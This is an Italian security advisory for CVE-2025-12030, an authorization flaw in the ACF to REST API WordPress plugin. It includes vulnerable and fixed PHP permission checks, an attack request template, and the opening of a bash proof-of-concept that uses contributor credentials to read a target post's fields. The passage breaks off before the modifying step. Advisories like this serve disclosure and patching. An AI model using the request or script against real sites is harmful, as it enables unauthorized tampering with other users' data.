
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Difetto di sicurezza che consente a utenti autenticati con accesso di livello Contributor di modificare i campi ACF su oggetti che non possiedono.
Parole chiave: CVE-2025-12030, vulnerabilità ACF to REST API, IDOR, sicurezza WordPress, exploit autenticato, vulnerabilità del plugin WordPress, CWE-639, modifica dei campi ACF, bypass dell'autorizzazione, CVE 2025 di WordPress, Advanced Custom Fields, sicurezza delle API REST
Vulnerabilità IDOR del plugin WordPress ACF to REST API (CVE-2025-12030) - Difetto di sicurezza che consente agli utenti autenticati con accesso a livello Contributor di modificare i campi ACF su oggetti di cui non sono proprietari.
Una vulnerabilità di riferimento diretto non sicuro a oggetti (IDOR) è stata scoperta nel plugin WordPress ACF to REST API che consente ad attaccanti autenticati con privilegi minimi di modificare i campi ACF in tutta l'installazione WordPress.
Scoperta da: Kai Aizen (SnailSploit)
Pubblicato: 6 gennaio 2026
Punteggio CVSS: 4.3 (Medio)
CWE: CWE-639 - Bypass dell'autorizzazione tramite chiave controllata dall'utente
Plugin: ACF to REST API
Plugin Slug: acf-to-rest-api
Tipo di attacco: Riferimento diretto non sicuro a oggetti (IDOR)
Privilegi richiesti: Contributor+ (Attacco autenticato)
Il plugin ACF to REST API per WordPress è vulnerabile al riferimento diretto non sicuro a oggetti in tutte le versioni fino alla 3.3.4 inclusa. Ciò è dovuto a controlli insufficienti delle capacità nel metodo update_item_permissions_check(), che verifica solo che l'utente corrente abbia la capacità edit_posts senza controllare le autorizzazioni specifiche dell'oggetto (ad es., edit_post($id), edit_user($id), manage_options).
Questa vulnerabilità consente ad attaccanti autenticati con accesso a livello Contributor o superiore di:
manage_optionsTutte le modifiche sono possibili tramite gli endpoint REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metrica | Valore |
|--------|-------|
| Vettore di attacco | Rete (AV:N) |
| Complessità dell'attacco | Bassa (AC:L) |
| Privilegi richiesti | Bassi (PR:L) |
| Interazione dell'utente | Nessuna (UI:N) |
| Ambito | Invariato (S:U) |
| Riservatezza | Nessuna (C:N) |
| Integrità | Bassa (I:L) |
| Disponibilità | Nessuna (A:N) |
**Analisi CVSS v3.1:**
- **Vettore di attacco (AV):** Rete - La vulnerabilità può essere sfruttata da remoto attraverso la rete
- **Complessità dell'attacco (AC):** Bassa - Non sono richieste condizioni speciali per lo sfruttamento
- **Privilegi richiesti (PR):** Bassi - Richiede autenticazione a livello Contributor
- **Interazione dell'utente (UI):** Nessuna - Lo sfruttamento funziona senza alcuna interazione con l'utente
- **Ambito (S):** Invariato - La vulnerabilità interessa solo il componente vulnerabile
- **Impatto sulla riservatezza (C):** Nessuno - Nessuna divulgazione di informazioni
- **Impatto sull'integrità (I):** Basso - Modifica non autorizzata dei campi ACF
- **Impatto sulla disponibilità (A):** Nessuno - Nessun impatto sulla disponibilità
## Dettagli tecnici
### Causa principale della vulnerabilità
La vulnerabilità risiede nel metodo `update_item_permissions_check()` che esegue un'autorizzazione insufficiente:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
L'implementazione corretta dovrebbe verificare i permessi specifici dell'oggetto:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Endpoint Vulnerabili
| Endpoint | Obiettivo | Capacità Richiesta (Dovrebbe Essere) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Post | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pagine | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Utenti | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Commenti | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termini | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Opzioni | `manage_options` |
### Vettore di Attacco```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
La vulnerabilità può essere sfruttata attraverso l'API REST di WordPress da qualsiasi utente autenticato con almeno il ruolo di Contributor.
⚠️ Solo a scopo educativo e per test autorizzati
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""